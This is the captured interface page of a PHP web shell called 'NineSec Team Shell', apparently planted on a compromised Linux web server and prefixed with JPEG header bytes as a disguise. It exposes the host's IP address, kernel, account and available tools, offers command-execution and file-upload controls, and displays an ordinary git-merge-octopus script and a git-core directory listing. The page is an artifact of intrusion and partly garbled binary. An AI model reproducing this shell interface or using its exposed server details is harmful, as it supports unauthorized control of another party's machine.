�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/ruby/../git-core/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/ruby/../git-core/git-merge-octopus
#!/bin/sh
#
# Copyright (c) 2005 Junio C Hamano
#
# Resolve two or more trees.
#

. git-sh-setup

LF='
'

# The first parameters up to -- are merge bases; the rest are heads.
bases= head= remotes= sep_seen=
for arg
do
	case ",$sep_seen,$head,$arg," in
	*,--,)
		sep_seen=yes
		;;
	,yes,,*)
		head=$arg
		;;
	,yes,*)
		remotes="$remotes$arg "
		;;
	*)
		bases="$bases$arg "
		;;
	esac
done

# Reject if this is not an octopus -- resolve should be used instead.
case "$remotes" in
?*' '?*)
	;;
*)
	exit 2 ;;
esac

# MRC is the current "merge reference commit"
# MRT is the current "merge result tree"

if ! git diff-index --quiet --cached HEAD --
then
    gettextln "Error: Your local changes to the following files would be overwritten by merge"
    git diff-index --cached --name-only HEAD -- | sed -e 's/^/    /'
    exit 2
fi
MRC=$(git rev-parse --verify -q $head)
MRT=$(git write-tree)
NON_FF_MERGE=0
OCTOPUS_FAILURE=0
for SHA1 in $remotes
do
	case "$OCTOPUS_FAILURE" in
	1)
		# We allow only last one to have a hand-resolvable
		# conflicts.  Last round failed and we still had
		# a head to merge.
		gettextln "Automated merge did not work."
		gettextln "Should not be doing an octopus."
		exit 2
	esac

	eval pretty_name=\${GITHEAD_$SHA1:-$SHA1}
	if test "$SHA1" = "$pretty_name"
	then
		SHA1_UP="$(echo "$SHA1" | tr a-z A-Z)"
		eval pretty_name=\${GITHEAD_$SHA1_UP:-$pretty_name}
	fi
	common=$(git merge-base --all $SHA1 $MRC) ||
		die "$(eval_gettext "Unable to find common commit with \$pretty_name")"

	case "$LF$common$LF" in
	*"$LF$SHA1$LF"*)
		eval_gettextln "Already up to date with \$pretty_name"
		continue
		;;
	esac

	if test "$common,$NON_FF_MERGE" = "$MRC,0"
	then
		# The first head being merged was a fast-forward.
		# Advance MRC to the head being merged, and use that
		# tree as the intermediate result of the merge.
		# We still need to count this as part of the parent set.

		eval_gettextln "Fast-forwarding to: \$pretty_name"
		git read-tree -u -m $head $SHA1 || exit
		MRC=$SHA1 MRT=$(git write-tree)
		continue
	fi

	NON_FF_MERGE=1

	eval_gettextln "Trying simple merge with \$pretty_name"
	git read-tree -u -m --aggressive  $common $MRT $SHA1 || exit 2
	next=$(git write-tree 2>/dev/null)
	if test $? -ne 0
	then
		gettextln "Simple merge did not work, trying automatic merge."
		git merge-index -o git-merge-one-file -a ||
		OCTOPUS_FAILURE=1
		next=$(git write-tree 2>/dev/null)
	fi

	MRC="$MRC $SHA1"
	MRT=$next
done

exit "$OCTOPUS_FAILURE"

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:08:39
root
0755
mergetools
--
October 23 2023 6:29:05
root
0755
git
2.98 MB
April 26 2023 2:52:23
root
0755
git-add
2.98 MB
April 26 2023 2:52:23
root
0755
git-add--interactive
45.087 KB
April 26 2023 2:52:23
root
0755
git-am
2.98 MB
April 26 2023 2:52:23
root
0755
git-annotate
2.98 MB
April 26 2023 2:52:23
root
0755
git-apply
2.98 MB
April 26 2023 2:52:23
root
0755
git-archive
2.98 MB
April 26 2023 2:52:23
root
0755
git-bisect
8.096 KB
April 26 2023 2:52:23
root
0755
git-bisect--helper
2.98 MB
April 26 2023 2:52:23
root
0755
git-blame
2.98 MB
April 26 2023 2:52:23
root
0755
git-branch
2.98 MB
April 26 2023 2:52:23
root
0755
git-bundle
2.98 MB
April 26 2023 2:52:23
root
0755
git-cat-file
2.98 MB
April 26 2023 2:52:23
root
0755
git-check-attr
2.98 MB
April 26 2023 2:52:23
root
0755
git-check-ignore
2.98 MB
April 26 2023 2:52:23
root
0755
git-check-mailmap
2.98 MB
April 26 2023 2:52:23
root
0755
git-check-ref-format
2.98 MB
April 26 2023 2:52:23
root
0755
git-checkout
2.98 MB
April 26 2023 2:52:23
root
0755
git-checkout-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-cherry
2.98 MB
April 26 2023 2:52:23
root
0755
git-cherry-pick
2.98 MB
April 26 2023 2:52:23
root
0755
git-clean
2.98 MB
April 26 2023 2:52:23
root
0755
git-clone
2.98 MB
April 26 2023 2:52:23
root
0755
git-column
2.98 MB
April 26 2023 2:52:23
root
0755
git-commit
2.98 MB
April 26 2023 2:52:23
root
0755
git-commit-graph
2.98 MB
April 26 2023 2:52:23
root
0755
git-commit-tree
2.98 MB
April 26 2023 2:52:23
root
0755
git-config
2.98 MB
April 26 2023 2:52:23
root
0755
git-count-objects
2.98 MB
April 26 2023 2:52:23
root
0755
git-credential
2.98 MB
April 26 2023 2:52:23
root
0755
git-credential-cache
1.71 MB
April 26 2023 2:52:23
root
0755
git-credential-cache--daemon
1.71 MB
April 26 2023 2:52:23
root
0755
git-credential-store
1.71 MB
April 26 2023 2:52:23
root
0755
git-daemon
1.72 MB
April 26 2023 2:52:23
root
0755
git-describe
2.98 MB
April 26 2023 2:52:23
root
0755
git-diff
2.98 MB
April 26 2023 2:52:23
root
0755
git-diff-files
2.98 MB
April 26 2023 2:52:23
root
0755
git-diff-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-diff-tree
2.98 MB
April 26 2023 2:52:23
root
0755
git-difftool
2.98 MB
April 26 2023 2:52:23
root
0755
git-difftool--helper
2.184 KB
April 26 2023 2:52:23
root
0755
git-env--helper
2.98 MB
April 26 2023 2:52:23
root
0755
git-fast-export
2.98 MB
April 26 2023 2:52:23
root
0755
git-fast-import
1.75 MB
April 26 2023 2:52:23
root
0755
git-fetch
2.98 MB
April 26 2023 2:52:23
root
0755
git-fetch-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-filter-branch
15.951 KB
April 26 2023 2:52:23
root
0755
git-fmt-merge-msg
2.98 MB
April 26 2023 2:52:23
root
0755
git-for-each-ref
2.98 MB
April 26 2023 2:52:23
root
0755
git-format-patch
2.98 MB
April 26 2023 2:52:23
root
0755
git-fsck
2.98 MB
April 26 2023 2:52:23
root
0755
git-fsck-objects
2.98 MB
April 26 2023 2:52:23
root
0755
git-gc
2.98 MB
April 26 2023 2:52:23
root
0755
git-get-tar-commit-id
2.98 MB
April 26 2023 2:52:23
root
0755
git-grep
2.98 MB
April 26 2023 2:52:23
root
0755
git-hash-object
2.98 MB
April 26 2023 2:52:23
root
0755
git-help
2.98 MB
April 26 2023 2:52:23
root
0755
git-http-backend
1.72 MB
April 26 2023 2:52:23
root
0755
git-http-fetch
1.75 MB
April 26 2023 2:52:23
root
0755
git-http-push
1.76 MB
April 26 2023 2:52:23
root
0755
git-imap-send
1.76 MB
April 26 2023 2:52:23
root
0755
git-index-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-init
2.98 MB
April 26 2023 2:52:23
root
0755
git-init-db
2.98 MB
April 26 2023 2:52:23
root
0755
git-instaweb
21.838 KB
April 26 2023 2:52:23
root
0755
git-interpret-trailers
2.98 MB
April 26 2023 2:52:23
root
0755
git-legacy-stash
16.026 KB
April 26 2023 2:52:23
root
0755
git-log
2.98 MB
April 26 2023 2:52:23
root
0755
git-ls-files
2.98 MB
April 26 2023 2:52:23
root
0755
git-ls-remote
2.98 MB
April 26 2023 2:52:23
root
0755
git-ls-tree
2.98 MB
April 26 2023 2:52:23
root
0755
git-mailinfo
2.98 MB
April 26 2023 2:52:23
root
0755
git-mailsplit
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-base
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-file
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-octopus
2.419 KB
April 26 2023 2:52:23
root
0755
git-merge-one-file
3.608 KB
April 26 2023 2:52:23
root
0755
git-merge-ours
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-recursive
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-resolve
0.922 KB
April 26 2023 2:52:23
root
0755
git-merge-subtree
2.98 MB
April 26 2023 2:52:23
root
0755
git-merge-tree
2.98 MB
April 26 2023 2:52:23
root
0755
git-mergetool
10.056 KB
April 26 2023 2:52:23
root
0755
git-mergetool--lib
8.985 KB
April 26 2023 2:52:23
root
0644
git-mktag
2.98 MB
April 26 2023 2:52:23
root
0755
git-mktree
2.98 MB
April 26 2023 2:52:23
root
0755
git-multi-pack-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-mv
2.98 MB
April 26 2023 2:52:23
root
0755
git-name-rev
2.98 MB
April 26 2023 2:52:23
root
0755
git-notes
2.98 MB
April 26 2023 2:52:23
root
0755
git-pack-objects
2.98 MB
April 26 2023 2:52:23
root
0755
git-pack-redundant
2.98 MB
April 26 2023 2:52:23
root
0755
git-pack-refs
2.98 MB
April 26 2023 2:52:23
root
0755
git-parse-remote
2.588 KB
April 26 2023 2:52:23
root
0644
git-patch-id
2.98 MB
April 26 2023 2:52:23
root
0755
git-prune
2.98 MB
April 26 2023 2:52:23
root
0755
git-prune-packed
2.98 MB
April 26 2023 2:52:23
root
0755
git-pull
2.98 MB
April 26 2023 2:52:23
root
0755
git-push
2.98 MB
April 26 2023 2:52:23
root
0755
git-quiltimport
3.606 KB
April 26 2023 2:52:23
root
0755
git-range-diff
2.98 MB
April 26 2023 2:52:23
root
0755
git-read-tree
2.98 MB
April 26 2023 2:52:23
root
0755
git-rebase
2.98 MB
April 26 2023 2:52:23
root
0755
git-rebase--preserve-merges
28.906 KB
April 26 2023 2:52:23
root
0644
git-receive-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-reflog
2.98 MB
April 26 2023 2:52:23
root
0755
git-remote
2.98 MB
April 26 2023 2:52:23
root
0755
git-remote-ext
2.98 MB
April 26 2023 2:52:23
root
0755
git-remote-fd
2.98 MB
April 26 2023 2:52:23
root
0755
git-remote-ftp
1.77 MB
April 26 2023 2:52:23
root
0755
git-remote-ftps
1.77 MB
April 26 2023 2:52:23
root
0755
git-remote-http
1.77 MB
April 26 2023 2:52:23
root
0755
git-remote-https
1.77 MB
April 26 2023 2:52:23
root
0755
git-remote-testsvn
1.73 MB
April 26 2023 2:52:23
root
0755
git-repack
2.98 MB
April 26 2023 2:52:23
root
0755
git-replace
2.98 MB
April 26 2023 2:52:23
root
0755
git-request-pull
4.033 KB
April 26 2023 2:52:23
root
0755
git-rerere
2.98 MB
April 26 2023 2:52:23
root
0755
git-reset
2.98 MB
April 26 2023 2:52:23
root
0755
git-restore
2.98 MB
April 26 2023 2:52:23
root
0755
git-rev-list
2.98 MB
April 26 2023 2:52:23
root
0755
git-rev-parse
2.98 MB
April 26 2023 2:52:23
root
0755
git-revert
2.98 MB
April 26 2023 2:52:23
root
0755
git-rm
2.98 MB
April 26 2023 2:52:23
root
0755
git-send-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-sh-i18n
2.391 KB
April 26 2023 2:52:23
root
0644
git-sh-i18n--envsubst
1.71 MB
April 26 2023 2:52:23
root
0755
git-sh-prompt
16.541 KB
April 26 2023 2:52:23
root
0644
git-sh-setup
9.088 KB
April 26 2023 2:52:23
root
0644
git-shell
1.71 MB
April 26 2023 2:52:23
root
0755
git-shortlog
2.98 MB
April 26 2023 2:52:23
root
0755
git-show
2.98 MB
April 26 2023 2:52:23
root
0755
git-show-branch
2.98 MB
April 26 2023 2:52:23
root
0755
git-show-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-show-ref
2.98 MB
April 26 2023 2:52:23
root
0755
git-sparse-checkout
2.98 MB
April 26 2023 2:52:23
root
0755
git-stage
2.98 MB
April 26 2023 2:52:23
root
0755
git-stash
2.98 MB
April 26 2023 2:52:23
root
0755
git-status
2.98 MB
April 26 2023 2:52:23
root
0755
git-stripspace
2.98 MB
April 26 2023 2:52:23
root
0755
git-submodule
25.227 KB
April 26 2023 2:52:23
root
0755
git-submodule--helper
2.98 MB
April 26 2023 2:52:23
root
0755
git-subtree
17.075 KB
April 26 2023 2:52:23
root
0755
git-switch
2.98 MB
April 26 2023 2:52:23
root
0755
git-symbolic-ref
2.98 MB
April 26 2023 2:52:23
root
0755
git-tag
2.98 MB
April 26 2023 2:52:23
root
0755
git-unpack-file
2.98 MB
April 26 2023 2:52:23
root
0755
git-unpack-objects
2.98 MB
April 26 2023 2:52:23
root
0755
git-update-index
2.98 MB
April 26 2023 2:52:23
root
0755
git-update-ref
2.98 MB
April 26 2023 2:52:23
root
0755
git-update-server-info
2.98 MB
April 26 2023 2:52:23
root
0755
git-upload-archive
2.98 MB
April 26 2023 2:52:23
root
0755
git-upload-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-var
2.98 MB
April 26 2023 2:52:23
root
0755
git-verify-commit
2.98 MB
April 26 2023 2:52:23
root
0755
git-verify-pack
2.98 MB
April 26 2023 2:52:23
root
0755
git-verify-tag
2.98 MB
April 26 2023 2:52:23
root
0755
git-web--browse
4.298 KB
April 26 2023 2:52:23
root
0755
git-whatchanged
2.98 MB
April 26 2023 2:52:23
root
0755
git-worktree
2.98 MB
April 26 2023 2:52:23
root
0755
git-write-tree
2.98 MB
April 26 2023 2:52:23
root
0755

NineSec Team - 2022